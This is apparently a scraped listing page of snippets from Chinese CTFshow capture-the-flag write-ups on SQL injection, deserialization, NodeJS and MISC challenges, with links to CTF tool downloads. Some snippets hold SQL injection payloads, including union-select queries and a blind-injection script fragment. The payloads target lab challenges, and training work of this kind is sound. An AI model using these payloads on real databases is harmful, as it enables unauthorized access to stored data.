2021-10-04 17:55:00title: CTFSHOW-sql注入(一) data: 2021-09-15 tags: CTF-web CTFSHOW sql注入(一) 开始一周的高强度sql注入训练,先从ctfshow 的基础开始。 包含了CTFSHOW sql注入的 170-200题。 这里都是sql注入的一些基本知识点... -
ctfshow_sql注入
2021-03-04 17:53:29sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;"; 返回逻辑 //检查结果是否有flag if($row->username!==‘flag’){ $ret[‘msg’]=... -
CTFshow sql注入 上篇(web171-220)
2022-02-18 01:35:03} 由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3 ' union select 1,hex(username),password from ctfshow_user3 where username='flag 突然想起来,... -
ctfshow--反序列化
2022-03-15 14:24:00ctfshow反序列化篇(255-271) 255、 class ctfShowUser{ public $isvip=true; } $a=new ctfShowUser(); echo urlencode(serialize($a)); get传两个参数username=xxxxxx&password=xxxxxx burp抓包,cookie传参... -
ctfshow 做题 MISC入门 模块 41-50
2021-09-04 11:29:48ctfshow 做题 MISC入门 模块 41-50 —— misc41 题目描述: H4ppy Apr1l F001’s D4y! 愚人节到了,一群笨蛋往南飞,一会儿排成S字,一会儿排成B字。 直接点开图片是无法打开的,查看 16 进制文件头是错误的。 但... -
CTFshow-卷王杯-简单的re(复现)
2022-03-15 14:44:46普通的upx壳,放kali里面脱下壳就行 运行 进入主函数 __int64 sub_401165() { int v0; // edx int v1; // ecx int v2; // er8 int v3; // er9 __int64 result;... } 得到最终flag:ctfshow{just_a_simple_re} -
【CTFSHOW】web入门 NodeJS
2021-10-04 23:56:31CTFSHOW 密码为: 123456 审计login.js代码,其中: return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; 得到name不能为“CTFSHOW”,但只要 -
ctfshow 做题 MISC入门 模块 31-40
2021-08-26 20:52:09ctfshow 做题 MISC入门 模块 31-40 —— misc31 题目描述: 高度是正确的,但正确的宽度是多少呢。 下载附件图片,现在是看不到内容的。 这里和 misc24 的原理一样,通过 bmp 图片像素计算图片的宽度。 还不会写... -
ctfshow nodejs篇
2021-07-16 16:52:40334 源码给了 登录成功就能拿到flag var express = require('express'); var router = express.Router(); var users = require('../modules/user').items; var findUser = function...=='CTFSHOW' && item -
CTFshow web入门 sql web188-246
2021-04-06 13:33:40100): low=32 high=128 mid=(low+high)//2 while low(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{}#".format(i,mid) #payload="' or if(ascii(substr((select group_concat(table_name) from ... -
CTFSHOW-WEB入门-SQL注入
2021-05-28 12:32:302,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+ # 查flag ' union select id,username,password from ctfshow_user where username='flag'--+ 关于concat和group_... -
CTFShow“萌心区“WP题解
2022-03-24 12:15:41CTFSow网站 萌新区题目概览: 萌新区一共47题,本文带来前45题的详细WP,最后两道题等待更新。 ...这道题,就是普通签到题,加入群,查看群公告即可。...看到一大串字母和英文,看了一下,没有大于F的字母,应该是16... -
ctfshow web入门 sqli-labs(持续更新)
2021-04-14 00:17:18文章目录web517-1web518-2web519-3web520-4web521-5web522-6web523-7web524-8web525-9web526-10web527-11web528-12web529-13web530-14web531-15...ctfshow的sqli-labs和本地搭建最大的不同,就是show的flag不在当前的 -
ctfshow 文件上传161-167
2022-04-06 17:15:54ctfshow 文件上传161-167
-
隐写_Jphswin_<em>ctfshow</em>.rar这是一个jphswin隐写工具哦! 喜欢的可以下载啦
-
ctf_writeup-master.zipBalsn CTF 报道 Balsn 是来自台湾的 CTF 团队,成立于 2016 年。我们积极参与 CTF 比赛,并发表有关挑战的文章。 在我们的 GitHub 存储库中,这些文章采用 markdo
-
ctf-all-in-one.zip网络攻防手册,CTF比赛必备知识概要,可供研究学习。
-
circle-detect.rar这是我搜集的用VC编写圆检测程序的一些代码和算法,算法以HOUGH变换为主
-
基于粒子群的灰狼算法优化该脚本实现了PSO和GWO优化算法的混合。不仅包含matlab源代码,还有PSO-GWO 和 GWO的matlab运行结果对比图。